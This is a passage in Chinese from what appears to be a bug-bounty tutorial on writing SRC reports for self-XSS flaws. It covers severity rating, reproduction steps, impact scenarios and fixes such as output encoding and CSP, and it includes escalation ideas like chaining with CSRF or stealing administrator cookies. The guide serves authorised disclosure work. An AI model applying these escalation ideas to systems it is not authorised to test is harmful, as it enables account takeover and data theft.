个人资料页签名处存在Self-XSS可结合CSRF升级为存储型XSS”。漏洞等级根据你的“攻击故事”合理评估。如果只能自己触发建议“低危”如果能结合CSRF影响其他用户可提“中危”如果能直接窃取管理员Cookie或执行高权限操作可提“高危”。在描述中详细说明评级理由。漏洞详情目标URL提供完整的漏洞页面URL。复现步骤一步一步像教程一样详细。从如何登录提供测试账号到在哪里输入输入什么看到什么结果。务必截图截图应包括输入Payload的界面、执行后的效果如弹窗、网络请求发送到Collaborator。请求与响应如果是通过网络请求触发的提供Burp抓取的原始HTTP请求和响应包可适当脱敏。Payload给出你使用的确切Payload。漏洞原理分析简要说明漏洞产生的原因。是输出未转义是使用了危险的innerHTML还是过滤规则存在缺陷潜在影响这是核心。详细阐述这个漏洞在什么条件下可能被利用会造成什么后果。参考前文的“攻击故事”。场景A结合CSRF导致所有用户...场景B诱骗管理员操作导致...场景C窃取本地存储的敏感令牌导致...修复建议给出具体、可操作的修复方案。输出编码根据输出上下文HTML属性、HTML正文、JavaScript、CSS、URL使用正确的编码函数。避免危险函数用textContent代替innerHTML用JSON.parse代替eval。实施内容安全策略CSP即使存在XSS严格的CSP也能极大缓解危害。输入验证与过滤在客户端和服务端同时进行但应以服务端为准。使用白名单机制。使用安全框架如React、Vue不使用v-html、Angular等它们提供了默认的编码保护。附加信息可附上相关参考资料、类似漏洞的公开报告链接以佐证你的观点。5.2 与SRC平台或厂商沟通的技巧态度专业使用礼貌、清晰的技术语言。避免使用挑衅或嘲讽的语气。证据充分一个GIF动图有时比十张静态截图和千言万语更有说服力。用屏幕录制工具展示完整的复现过程。耐心跟进如果报告被判定为“低危”或“不予收录”不要气馁。仔细阅读回复看他们质疑的点是什么。是你的攻击场景不够合理还是他们觉得触发条件太苛刻根据反馈补充更详细的论证或新的利用思路进行有理有据的申诉。理解规则每个SRC都有自己的规则和范围。仔细阅读确保你的测试行为在允许范围内。不要对生产数据进行破坏性操作。挖掘self-XSS并将其转化为有价值的SRC漏洞考验的不仅是技术更是耐心、想象力和沟通能力。它要求你像攻击者一样思考像防御者一样分析最后像布道者一样清晰地陈述。这个过程本身就是安全研究员能力的一次绝佳锤炼。当你成功将一个被众人忽视的“self-XSS”点通过严密的逻辑链条升级为一个中高危漏洞并获得认可时那种成就感远非一个简单的反射型XSS可比。这条路需要持续学习、不断尝试和积累经验但回报也同样丰厚。
